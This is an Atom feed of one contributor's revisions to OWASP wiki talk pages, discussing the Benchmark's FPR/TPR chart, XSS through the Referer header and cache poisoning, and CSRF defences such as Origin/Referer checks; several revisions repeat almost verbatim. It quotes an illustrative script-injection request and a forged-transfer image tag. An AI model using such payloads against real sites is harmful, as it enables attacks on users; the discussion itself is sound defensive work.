<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Eelgheez</id>
		<title>OWASP - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Eelgheez"/>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php/Special:Contributions/Eelgheez"/>
		<updated>2026-05-02T19:32:56Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.27.2</generator>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:Benchmark&amp;diff=252396</id>
		<title>Talk:Benchmark</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:Benchmark&amp;diff=252396"/>
				<updated>2019-06-14T12:50:51Z</updated>
		
		<summary type="html">&lt;p&gt;Eelgheez: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== The meaning of the diagonal ==&lt;br /&gt;
&lt;br /&gt;
I don't think it's fair to call the diagonal line in the FPR/TPR chart a &amp;quot;random guess&amp;quot; line.  The FPR == TPR equation translates to FP/(FP+TN) == TP/(TP+FN), meaning FP*FN == TN*TP, or FP/TP == TN/FN.  The FPR &amp;gt; TPR area below the line does not put the tool into a &amp;quot;worse than guessing&amp;quot; shame list.  The formulas suggests a different interpretation of that area, &amp;quot;the noise rate in reporting non-issues exceeds the sensitivity about real issues&amp;quot;.  &lt;br /&gt;
&lt;br /&gt;
The &amp;quot;worse than guessing&amp;quot; interpretation seems to come from the following scenario.  We have ''n'' real and ''m'' fake vulnerabilities.  For each of these vulnerabilities let the tool (or a monkey) decide if it is real.  I guess this scenario ignores that the tool does not get the list of these vulnerabilities as its input. --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 20:24, 13 July 2016 (CDT)&lt;br /&gt;
&lt;br /&gt;
== Request headers in XSS attacks ==&lt;br /&gt;
&lt;br /&gt;
The Test Case Details tab says that out of all possible request headers only Referer can act as tainted input in the XSS scenario.  Indeed, a malicious site can host a page at a maliciously crafted URL replying to HTTP requests such as &amp;lt;code&amp;gt;GET /foo%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1&amp;lt;/code&amp;gt;.  On visiting such pages and clicking a link in them victim users' browsers will carry the crafted URL in their Referer header.  However, I think the HTTP verb requests (such as the above HTTP GET) to the original host will URL-encode paths and query strings regardless of what it or any other communication medium showed before visiting it.  This  makes the abuse of the Referer reflection conditional on the application's decoding the URL before reflecting it. --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 15:34, 13 June 2019 (CDT)&lt;br /&gt;
: When the target site resides behind a caching server, the server's dropping request headers from its cache key and the application's reflecting unconventional request headers result in a cache poisoning vulnerability, https://blog.cloudflare.com/cache-poisoning-protection/ . This makes non-Referer headers attack vectors possible because attackers can poison the cache, then let victims receive the cached poisoned HTML contents. --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 15:34, 13 June 2019 (CDT)&lt;/div&gt;</summary>
		<author><name>Eelgheez</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:Benchmark&amp;diff=252391</id>
		<title>Talk:Benchmark</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:Benchmark&amp;diff=252391"/>
				<updated>2019-06-13T20:35:14Z</updated>
		
		<summary type="html">&lt;p&gt;Eelgheez: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== The meaning of the diagonal ==&lt;br /&gt;
&lt;br /&gt;
I don't think it's fair to call the diagonal line in the FPR/TPR chart a &amp;quot;random guess&amp;quot; line.  The FPR == TPR equation translates to FP/(FP+TN) == TP/(TP+FN), meaning FP*FN == TN*TP, or FP/TP == TN/FN.  The FPR &amp;gt; TPR area below the line does not put the tool into a &amp;quot;worse than guessing&amp;quot; shame list.  The formulas suggests a different interpretation of that area, &amp;quot;the noise rate in reporting non-issues exceeds the sensitivity about real issues&amp;quot;.  &lt;br /&gt;
&lt;br /&gt;
The &amp;quot;worse than guessing&amp;quot; interpretation seems to come from the following scenario.  We have ''n'' real and ''m'' fake vulnerabilities.  For each of these vulnerabilities let the tool (or a monkey) decide if it is real.  I guess this scenario ignores that the tool does not get the list of these vulnerabilities as its input. --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 20:24, 13 July 2016 (CDT)&lt;br /&gt;
&lt;br /&gt;
== Request headers in XSS attacks ==&lt;br /&gt;
&lt;br /&gt;
The Test Case Details tab says that out of all possible request headers only Referer can act as tainted input in the XSS scenario.  Indeed, a malicious site can host a page at a maliciously crafted URL replying to HTTP requests such as &amp;lt;code&amp;gt;GET /foo%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1&amp;lt;/code&amp;gt;.  On visiting such pages and clicking a link in them victim users' browsers will carry the crafted URL in their Referer header.  However, I think the HTTP verb requests (such as the above HTTP GET) to the original host will URL-encode paths and query strings regardless of what it or any other communication medium showed before visiting it.  This  makes the abuse of the Referer reflection conditional on the application's decoding the URL before reflecting it. --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 15:34, 13 June 2019 (CDT)&lt;br /&gt;
: When the target site resides behind a caching server, the server's dropping request headers from its cache key and the application's reflecting unconventional request headers result in a cache poisoning vulnerability, https://blog.cloudflare.com/cache-poisoning-protection/ . This makes non-Referer headers attack vectors because attackers can poison the cache, then let victims receive the cached poisoned HTML contents. --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 15:34, 13 June 2019 (CDT)&lt;/div&gt;</summary>
		<author><name>Eelgheez</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:Benchmark&amp;diff=252390</id>
		<title>Talk:Benchmark</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:Benchmark&amp;diff=252390"/>
				<updated>2019-06-13T20:34:51Z</updated>
		
		<summary type="html">&lt;p&gt;Eelgheez: the app would have to decode Referer before reflecting it in order to be abused&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== The meaning of the diagonal ==&lt;br /&gt;
&lt;br /&gt;
I don't think it's fair to call the diagonal line in the FPR/TPR chart a &amp;quot;random guess&amp;quot; line.  The FPR == TPR equation translates to FP/(FP+TN) == TP/(TP+FN), meaning FP*FN == TN*TP, or FP/TP == TN/FN.  The FPR &amp;gt; TPR area below the line does not put the tool into a &amp;quot;worse than guessing&amp;quot; shame list.  The formulas suggests a different interpretation of that area, &amp;quot;the noise rate in reporting non-issues exceeds the sensitivity about real issues&amp;quot;.  &lt;br /&gt;
&lt;br /&gt;
The &amp;quot;worse than guessing&amp;quot; interpretation seems to come from the following scenario.  We have ''n'' real and ''m'' fake vulnerabilities.  For each of these vulnerabilities let the tool (or a monkey) decide if it is real.  I guess this scenario ignores that the tool does not get the list of these vulnerabilities as its input. --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 20:24, 13 July 2016 (CDT)&lt;br /&gt;
&lt;br /&gt;
== Request headers in XSS attacks ==&lt;br /&gt;
&lt;br /&gt;
The Test Case Details tab says that out of all possible request headers only Referer can act as tainted input in the XSS scenario.  Indeed, a malicious site can host a page at a maliciously crafted URL replying to HTTP requests such as &amp;lt;code&amp;gt;GET /foo%3Cscript%3Ealert(1)%3C/script%3E&amp;lt;/code&amp;gt;.  On visiting such pages and clicking a link in them victim users' browsers will carry the crafted URL in their Referer header.  However, I think the HTTP verb requests (such as the above HTTP GET) to the original host will URL-encode paths and query strings regardless of what it or any other communication medium showed before visiting it.  This  makes the abuse of the Referer reflection conditional on the application's decoding the URL before reflecting it. --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 15:34, 13 June 2019 (CDT)&lt;br /&gt;
: When the target site resides behind a caching server, the server's dropping request headers from its cache key and the application's reflecting unconventional request headers result in a cache poisoning vulnerability, https://blog.cloudflare.com/cache-poisoning-protection/ . This makes non-Referer headers attack vectors because attackers can poison the cache, then let victims receive the cached poisoned HTML contents. --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 15:34, 13 June 2019 (CDT)&lt;/div&gt;</summary>
		<author><name>Eelgheez</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:Benchmark&amp;diff=245156</id>
		<title>Talk:Benchmark</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:Benchmark&amp;diff=245156"/>
				<updated>2018-11-14T16:40:42Z</updated>
		
		<summary type="html">&lt;p&gt;Eelgheez: +cache poisoning for XSS via unconventional headers&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== The meaning of the diagonal ==&lt;br /&gt;
&lt;br /&gt;
I don't think it's fair to call the diagonal line in the FPR/TPR chart a &amp;quot;random guess&amp;quot; line.  The FPR == TPR equation translates to FP/(FP+TN) == TP/(TP+FN), meaning FP*FN == TN*TP, or FP/TP == TN/FN.  The FPR &amp;gt; TPR area below the line does not put the tool into a &amp;quot;worse than guessing&amp;quot; shame list.  The formulas suggests a different interpretation of that area, &amp;quot;the noise rate in reporting non-issues exceeds the sensitivity about real issues&amp;quot;.  &lt;br /&gt;
&lt;br /&gt;
The &amp;quot;worse than guessing&amp;quot; interpretation seems to come from the following scenario.  We have ''n'' real and ''m'' fake vulnerabilities.  For each of these vulnerabilities let the tool (or a monkey) decide if it is real.  I guess this scenario ignores that the tool does not get the list of these vulnerabilities as its input. --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 20:24, 13 July 2016 (CDT)&lt;br /&gt;
&lt;br /&gt;
== Request headers in XSS attacks ==&lt;br /&gt;
&lt;br /&gt;
The Test Case Details tab says that out of all possible request headers only Referer can act as tainted input in the XSS scenario.  Indeed, a malicious site can host a page at a malicioously crafted URL replying to HTTP requests such as &amp;lt;code&amp;gt;GET /foo&amp;amp;lt;script&amp;amp;gt;alert(1)&amp;amp;lt;/script&amp;amp;gt;&amp;lt;/code&amp;gt;.  On visiting such pages and clicking a link in them victim users' browsers will carry the crafted URL in their Referer header.  --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 07:37, 17 July 2017 (CDT)&lt;br /&gt;
: When the target site resides behind a caching server, the server's dropping request headers from its cache key and the application's reflecting unconventional request headers result in a cache poisoning vulnerability, https://blog.cloudflare.com/cache-poisoning-protection/ . 10:40, 14 November 2018 (CST)&lt;/div&gt;</summary>
		<author><name>Eelgheez</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=245065</id>
		<title>Talk:Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=245065"/>
				<updated>2018-11-13T00:00:16Z</updated>
		
		<summary type="html">&lt;p&gt;Eelgheez: /* The link-presenter host with regard to the Referer/Origin check */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Is this statement really correct?==&lt;br /&gt;
''This means that while an attacker can send any value he wants with a malicious CSRF request, the attacker will be unable to modify or read the value stored in the cookie.&lt;br /&gt;
''&lt;br /&gt;
&lt;br /&gt;
This seems incorrect.  An attacker can modify cookies from a sibling domain.  See https://media.blackhat.com/eu-13/briefings/Lundeen/bh-eu-13-deputies-still-confused-lundeen-wp.pdf for examples.  Thus double-submit csrf cookie should also be checked for some tie to the logged in session so that it can't just be pushed in.&lt;br /&gt;
&lt;br /&gt;
Jim July 27, 2014: What about &amp;quot;''This means that while an attacker can send any value he wants with a malicious CSRF request, the attacker would be unable to modify or read the value stored in the cookie other than via cross site scripting. (And cross site scripting resistance is a requirement for good CSRF defense to begin with.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
--[[User:David Ohsie|David Ohsie]] ([[User talk:David Ohsie|talk]]) 09:47, 30 July 2014 (CDT) I don't think that this is 100% accurate either.  Cookies can be written via CSS in a sibling domain, so that even if the application in not vulnerable to CSS, if the sibling domain application is vulnerable to CSS, or is simply not trustworthy, cookies can be written.  Cookies can also be written via MITM attacks on http.  So the application in question can be completely &amp;quot;secure&amp;quot;, but it's cookies can be tampered with anyhow.  That is why the paper referenced above suggests that the CSRF token must in some way be tied to the user's session or identity and the &amp;quot;naive&amp;quot; double submit method is vulnerable.  At the very least, with naive double submit, the application should check to make sure that there is only one CSRF token cookie value as this will mitigate some attempts to write the cookie from another domain.&lt;br /&gt;
&lt;br /&gt;
Jim July 30, 2014: Ok I got it. Can you make your change live in the document itself to clarify this? Or hey, the entire CSRF Defense cheat sheet needs to be fully re-written and made more concise and more of a &amp;quot;cheat&amp;quot; for developers. Are you interested in taking this over? Aloha! Ps: I'm jim@owasp.org if you want to take this to email.&lt;br /&gt;
&lt;br /&gt;
--[[User:David Ohsie|David Ohsie]] ([[User talk:David Ohsie|talk]]) 11:45, 31 July 2014 (CDT)I'll take a crack at editing, although I don't know if I am capable of doing a rewrite. I didn't want to make any changes without some prior discussion.&lt;br /&gt;
&lt;br /&gt;
Jim July 31 2014, Thank you - any help is appreciated. I'm happy to discuss any changes you wish to make. I think this entire page needs a re-do, but happy to do that one change at a time. Aloha!&lt;br /&gt;
&lt;br /&gt;
==Confusion About Encrypted Token Pattern==&lt;br /&gt;
Based on discussion about the encrypted token pattern taking place on [https://security.stackexchange.com/questions/105375/csrf-encrypted-token-pattern-need-for-nonce/ security.stackexchange.com], I think that the discussion about the encrypted token pattern should include provide an explanation for the use of the nonce. Is the nonce supposed to be validated? If so, the validation section needs some additional text. Is the nonce there to provide some cryptographic protection? If so, what?&lt;br /&gt;
&lt;br /&gt;
Neil Smithline, http://www.neilsmithline.com 14:45, 15 November 2015 (CST)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== CSRF Prevention via Alternative HTTP Methods ==&lt;br /&gt;
&lt;br /&gt;
Browsers permit cross-domain form submission, but only via GET and POST methods.  Modern browsers do not allow you to set the method to anything else, cross domain, unless CORS is used.  One can leverage this to prevent CSRF without the need for cryptographic tokens.  If you code your site so that material changes to stored data (record updates, other writes) happen only via other HTTP methods (such as PUT, DELETE, PATCH, etc), then no other domain can submit those changes.  Of course this means your site will need to use AJAX to submit changes, but this is a very common development pattern already.  Definitely interested in any technical discussion on this idea, but if no one sees a problem with it, I think we should add it to the page as an option.&lt;br /&gt;
&lt;br /&gt;
-- [[User:TimMorgan|TimMorgan]] ([[User talk:TimMorgan|talk]]) 14:01, 19 December 2015 (CST)&lt;br /&gt;
&lt;br /&gt;
== Identifying cross-origin requests ==&lt;br /&gt;
Thanks to the [https://www.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;amp;diff=221340&amp;amp;oldid=221309 September 15, 2016 change], I see that CSRF can be reliably prevented by the action handlers checking the Origin header (or, in the absence of that, the Referer header).  This is because the CSRF scenario abuses unsuspecting users' authorization, where the users generally run an up-to-date browser.  &lt;br /&gt;
&lt;br /&gt;
Еxtra checks such as those of anti-CSRF tokens could help mitigate the case of allowing a broad list of UI origins.  Perhaps, this is what was meant by the phrase &amp;quot;we recommend a second check as an additional precaution to really make sure&amp;quot;?  (The style and the title of the article seems to put the burden of proof on the reader.  The existing prescriptive style encourages that, so I wonder if OWASP could use a descriptive style instead). --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 10:02, 27 March 2017 (CDT)&lt;br /&gt;
&lt;br /&gt;
== Origin/Referrer Check doesn't Work When the URL is Entered into the Browser ==&lt;br /&gt;
When a page is reached by entering or pasting a URL into the browser, there is no $_SERVER['HTTP_ORIGIN'] or $_SERVER['HTTP_REFERER'] value. In this case the recommendation to block the action wouldn't seem to make sense. --[[User:Lindon_Barnfield|lindon]] ([[User talk:Lindon_Barnfield|talk]]) 19:02, 29 May 2017 (EDT)&lt;br /&gt;
&lt;br /&gt;
: Thanks you Lindon for the remarks and note about these headers. In CSRF context, we want to protect from request altering data, is the reason why the CSRF filter is applied on request targeting &amp;quot;backend service&amp;quot; in order to be sure to be invoked for services and not for UI URL (ex: when loading a form or the site home page), perhaps i should mention it on sample. If the URL of the service is invoked directly (i.e. entering or pasting a URL into the browser as you mention) is not a normal behavior and the protection should block the request because service is invoked normally by ajax (more common way in recent apps) or submitting a html form. Thanks again for the talk, it helps to fine tune the sample. --[[User:Dominique_RIGHETTO|dominique]] ([[User talk:Dominique_RIGHETTO|talk]]) 06:20, 30 May 2017 (CEST)&lt;br /&gt;
&lt;br /&gt;
:: Indeed, the abuse scenario CSRF normally focuses on involves luring a victim user into a malicious site/vulnerable blog/forum and letting the user's browser execute requests against a CSRF-vulnerable target site on behalf of the user without the user's participation (or with the user clicking a form submit button aiming at the vulnerable target site).  Luring a victim into pasting a link could be considered a less likely scenario.  I guess that would rely on the target site interpreting a GET request or its embedded requests as actions.  In that unlikely scenario I can see that checking the origin and &amp;quot;referer&amp;quot; referrer will block the unexpected abuse, encouraging developers to rely on REST conventions in mirroring the page state in its address. (Changing the application's state on receiving GET requests would make it vulnerable to embedded foreign requests such as &amp;lt;img src=&amp;quot;https://bank.test/my/transfer?to=GogAndMagog&amp;quot;&amp;gt;). --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 09:11, 30 May 2017 (CDT)&lt;br /&gt;
&lt;br /&gt;
== The link-presenter host with regard to the Referer/Origin check ==&lt;br /&gt;
&lt;br /&gt;
I heard arguments for extending the whitelist to sites potentially hosting the links that point to the application that is protected with a Referer/Origin check.  This can be a slippery slope as sending a second-factor authentication link through email may end up being hosted by a huge number of webmail providers.  Besides, the argument had a design flaw where the CSRF protection applied to both GET and POST requests.&lt;br /&gt;
&lt;br /&gt;
Instead I suggest to mention an implementation detail that relies on a common practice of separating the UI interface from the API.  That is,&lt;br /&gt;
* instead of sending a link clicking which is supposed to generate a GET request such as SITE/authorize?id=XXXXXXX (with some non-predictable GUID) authorizing the user immediately, &lt;br /&gt;
I suggest to avoid implementing CSRF protection for GET requests entirely and keep actions that change user profiles to POST handlers.  Therefore,&lt;br /&gt;
* send a link pointing to the UI service such as UISITE/authorize.html?id=XXXXXX  Clicking it can be handled safely assuming that none of your GET request handlers implement CSRF protection.  Once the user finds themselves in the unauthenticated page generated by the UI service, clicking a button in it will send a POST request to an API service such as SITE/authorize?id=XXXXX.  The POST handler can safely apply the suggested Referer/Origin check, insisting on all of the received headers of these two to contain white-listed hosts.  [[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 16:29, 12 November 2018 (CST)&lt;br /&gt;
&lt;br /&gt;
:: The second-factor authentication link scenario seems degenerate in the above scheme because it does not rely on cookies.  Only authenticated actions would need to rely on their map to the UI URL in order to get around the Referer/Origin and GET limits related to passing the link via email or any other medium. [[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 17:59, 12 November 2018 (CST)&lt;/div&gt;</summary>
		<author><name>Eelgheez</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=245064</id>
		<title>Talk:Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=245064"/>
				<updated>2018-11-12T23:59:43Z</updated>
		
		<summary type="html">&lt;p&gt;Eelgheez: /* The link-presenter host with regard to the Referer/Origin check */ limit to authenticated actions&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Is this statement really correct?==&lt;br /&gt;
''This means that while an attacker can send any value he wants with a malicious CSRF request, the attacker will be unable to modify or read the value stored in the cookie.&lt;br /&gt;
''&lt;br /&gt;
&lt;br /&gt;
This seems incorrect.  An attacker can modify cookies from a sibling domain.  See https://media.blackhat.com/eu-13/briefings/Lundeen/bh-eu-13-deputies-still-confused-lundeen-wp.pdf for examples.  Thus double-submit csrf cookie should also be checked for some tie to the logged in session so that it can't just be pushed in.&lt;br /&gt;
&lt;br /&gt;
Jim July 27, 2014: What about &amp;quot;''This means that while an attacker can send any value he wants with a malicious CSRF request, the attacker would be unable to modify or read the value stored in the cookie other than via cross site scripting. (And cross site scripting resistance is a requirement for good CSRF defense to begin with.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
--[[User:David Ohsie|David Ohsie]] ([[User talk:David Ohsie|talk]]) 09:47, 30 July 2014 (CDT) I don't think that this is 100% accurate either.  Cookies can be written via CSS in a sibling domain, so that even if the application in not vulnerable to CSS, if the sibling domain application is vulnerable to CSS, or is simply not trustworthy, cookies can be written.  Cookies can also be written via MITM attacks on http.  So the application in question can be completely &amp;quot;secure&amp;quot;, but it's cookies can be tampered with anyhow.  That is why the paper referenced above suggests that the CSRF token must in some way be tied to the user's session or identity and the &amp;quot;naive&amp;quot; double submit method is vulnerable.  At the very least, with naive double submit, the application should check to make sure that there is only one CSRF token cookie value as this will mitigate some attempts to write the cookie from another domain.&lt;br /&gt;
&lt;br /&gt;
Jim July 30, 2014: Ok I got it. Can you make your change live in the document itself to clarify this? Or hey, the entire CSRF Defense cheat sheet needs to be fully re-written and made more concise and more of a &amp;quot;cheat&amp;quot; for developers. Are you interested in taking this over? Aloha! Ps: I'm jim@owasp.org if you want to take this to email.&lt;br /&gt;
&lt;br /&gt;
--[[User:David Ohsie|David Ohsie]] ([[User talk:David Ohsie|talk]]) 11:45, 31 July 2014 (CDT)I'll take a crack at editing, although I don't know if I am capable of doing a rewrite. I didn't want to make any changes without some prior discussion.&lt;br /&gt;
&lt;br /&gt;
Jim July 31 2014, Thank you - any help is appreciated. I'm happy to discuss any changes you wish to make. I think this entire page needs a re-do, but happy to do that one change at a time. Aloha!&lt;br /&gt;
&lt;br /&gt;
==Confusion About Encrypted Token Pattern==&lt;br /&gt;
Based on discussion about the encrypted token pattern taking place on [https://security.stackexchange.com/questions/105375/csrf-encrypted-token-pattern-need-for-nonce/ security.stackexchange.com], I think that the discussion about the encrypted token pattern should include provide an explanation for the use of the nonce. Is the nonce supposed to be validated? If so, the validation section needs some additional text. Is the nonce there to provide some cryptographic protection? If so, what?&lt;br /&gt;
&lt;br /&gt;
Neil Smithline, http://www.neilsmithline.com 14:45, 15 November 2015 (CST)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== CSRF Prevention via Alternative HTTP Methods ==&lt;br /&gt;
&lt;br /&gt;
Browsers permit cross-domain form submission, but only via GET and POST methods.  Modern browsers do not allow you to set the method to anything else, cross domain, unless CORS is used.  One can leverage this to prevent CSRF without the need for cryptographic tokens.  If you code your site so that material changes to stored data (record updates, other writes) happen only via other HTTP methods (such as PUT, DELETE, PATCH, etc), then no other domain can submit those changes.  Of course this means your site will need to use AJAX to submit changes, but this is a very common development pattern already.  Definitely interested in any technical discussion on this idea, but if no one sees a problem with it, I think we should add it to the page as an option.&lt;br /&gt;
&lt;br /&gt;
-- [[User:TimMorgan|TimMorgan]] ([[User talk:TimMorgan|talk]]) 14:01, 19 December 2015 (CST)&lt;br /&gt;
&lt;br /&gt;
== Identifying cross-origin requests ==&lt;br /&gt;
Thanks to the [https://www.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;amp;diff=221340&amp;amp;oldid=221309 September 15, 2016 change], I see that CSRF can be reliably prevented by the action handlers checking the Origin header (or, in the absence of that, the Referer header).  This is because the CSRF scenario abuses unsuspecting users' authorization, where the users generally run an up-to-date browser.  &lt;br /&gt;
&lt;br /&gt;
Еxtra checks such as those of anti-CSRF tokens could help mitigate the case of allowing a broad list of UI origins.  Perhaps, this is what was meant by the phrase &amp;quot;we recommend a second check as an additional precaution to really make sure&amp;quot;?  (The style and the title of the article seems to put the burden of proof on the reader.  The existing prescriptive style encourages that, so I wonder if OWASP could use a descriptive style instead). --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 10:02, 27 March 2017 (CDT)&lt;br /&gt;
&lt;br /&gt;
== Origin/Referrer Check doesn't Work When the URL is Entered into the Browser ==&lt;br /&gt;
When a page is reached by entering or pasting a URL into the browser, there is no $_SERVER['HTTP_ORIGIN'] or $_SERVER['HTTP_REFERER'] value. In this case the recommendation to block the action wouldn't seem to make sense. --[[User:Lindon_Barnfield|lindon]] ([[User talk:Lindon_Barnfield|talk]]) 19:02, 29 May 2017 (EDT)&lt;br /&gt;
&lt;br /&gt;
: Thanks you Lindon for the remarks and note about these headers. In CSRF context, we want to protect from request altering data, is the reason why the CSRF filter is applied on request targeting &amp;quot;backend service&amp;quot; in order to be sure to be invoked for services and not for UI URL (ex: when loading a form or the site home page), perhaps i should mention it on sample. If the URL of the service is invoked directly (i.e. entering or pasting a URL into the browser as you mention) is not a normal behavior and the protection should block the request because service is invoked normally by ajax (more common way in recent apps) or submitting a html form. Thanks again for the talk, it helps to fine tune the sample. --[[User:Dominique_RIGHETTO|dominique]] ([[User talk:Dominique_RIGHETTO|talk]]) 06:20, 30 May 2017 (CEST)&lt;br /&gt;
&lt;br /&gt;
:: Indeed, the abuse scenario CSRF normally focuses on involves luring a victim user into a malicious site/vulnerable blog/forum and letting the user's browser execute requests against a CSRF-vulnerable target site on behalf of the user without the user's participation (or with the user clicking a form submit button aiming at the vulnerable target site).  Luring a victim into pasting a link could be considered a less likely scenario.  I guess that would rely on the target site interpreting a GET request or its embedded requests as actions.  In that unlikely scenario I can see that checking the origin and &amp;quot;referer&amp;quot; referrer will block the unexpected abuse, encouraging developers to rely on REST conventions in mirroring the page state in its address. (Changing the application's state on receiving GET requests would make it vulnerable to embedded foreign requests such as &amp;lt;img src=&amp;quot;https://bank.test/my/transfer?to=GogAndMagog&amp;quot;&amp;gt;). --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 09:11, 30 May 2017 (CDT)&lt;br /&gt;
&lt;br /&gt;
== The link-presenter host with regard to the Referer/Origin check ==&lt;br /&gt;
&lt;br /&gt;
I heard arguments for extending the whitelist to sites potentially hosting the links that point to the application that is protected with a Referer/Origin check.  This can be a slippery slope as sending a second-factor authentication link through email may end up being hosted by a huge number of webmail providers.  Besides, the argument had a design flaw where the CSRF protection applied to both GET and POST requests.&lt;br /&gt;
&lt;br /&gt;
Instead I suggest to mention an implementation detail that relies on a common practice of separating the UI interface from the API.  That is,&lt;br /&gt;
* instead of sending a link clicking which is supposed to generate a GET request such as SITE/authorize?id=XXXXXXX (with some non-predictable GUID) authorizing the user immediately, &lt;br /&gt;
I suggest to avoid implementing CSRF protection for GET requests entirely and keep actions that change user profiles to POST handlers.  Therefore,&lt;br /&gt;
* send a link pointing to the UI service such as UISITE/authorize.html?id=XXXXXX  Clicking it can be handled safely assuming that none of your GET request handlers implement CSRF protection.  Once the user finds themselves in the unauthenticated page generated by the UI service, clicking a button in it will send a POST request to an API service such as SITE/authorize?id=XXXXX.  The POST handler can safely apply the suggested Referer/Origin check, insisting on all of the received headers of these two to contain white-listed hosts.  [[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 16:29, 12 November 2018 (CST)&lt;br /&gt;
&lt;br /&gt;
:: The second-factor authentication link scenario seems degenrate in the above scheme because it does not rely on cookies.  Only authenticated actions would need to rely on their map to the UI URL in order to get around the Referer/Origin and GET limits related to passing the link via email or any other medium. [[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 17:59, 12 November 2018 (CST)&lt;/div&gt;</summary>
		<author><name>Eelgheez</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=245063</id>
		<title>Talk:Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=245063"/>
				<updated>2018-11-12T22:32:13Z</updated>
		
		<summary type="html">&lt;p&gt;Eelgheez: /* The link-presenter host with regard to the Referer/Origin check */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Is this statement really correct?==&lt;br /&gt;
''This means that while an attacker can send any value he wants with a malicious CSRF request, the attacker will be unable to modify or read the value stored in the cookie.&lt;br /&gt;
''&lt;br /&gt;
&lt;br /&gt;
This seems incorrect.  An attacker can modify cookies from a sibling domain.  See https://media.blackhat.com/eu-13/briefings/Lundeen/bh-eu-13-deputies-still-confused-lundeen-wp.pdf for examples.  Thus double-submit csrf cookie should also be checked for some tie to the logged in session so that it can't just be pushed in.&lt;br /&gt;
&lt;br /&gt;
Jim July 27, 2014: What about &amp;quot;''This means that while an attacker can send any value he wants with a malicious CSRF request, the attacker would be unable to modify or read the value stored in the cookie other than via cross site scripting. (And cross site scripting resistance is a requirement for good CSRF defense to begin with.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
